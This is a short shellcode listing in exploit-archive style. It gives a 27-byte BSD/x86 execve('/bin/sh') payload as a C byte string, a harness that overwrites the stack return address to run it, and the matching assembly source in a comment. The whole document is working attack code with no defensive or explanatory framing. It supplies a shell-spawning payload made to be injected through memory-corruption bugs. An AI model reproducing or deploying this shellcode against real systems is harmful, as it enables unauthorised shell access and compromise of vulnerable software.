BSD/x86 - execve(/bin/sh) - 27 bytes

/* execve_sh.c by n0gada 27 bytes. */ #include "stdio.h" char shellcode[]= "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2" "\x52\x57\x54\xb0\x3b\xcd\x80\xe8" "\xee\xff\xff\xff/bin/sh"; int main(void) { int *ret; printf("%d\n",strlen(shellcode)); ret = (int *)&ret+2; *ret = (int)shellcode; return 0; } /********************************************* execve_sh.s .globl main main: jmp strings start: pop %edi xorl %eax,%eax push %eax movl %esp,%edx push %edx push %edi push %esp movb $0x3b,%al int $0x80 strings: call start .string "/bin/sh" *********************************************/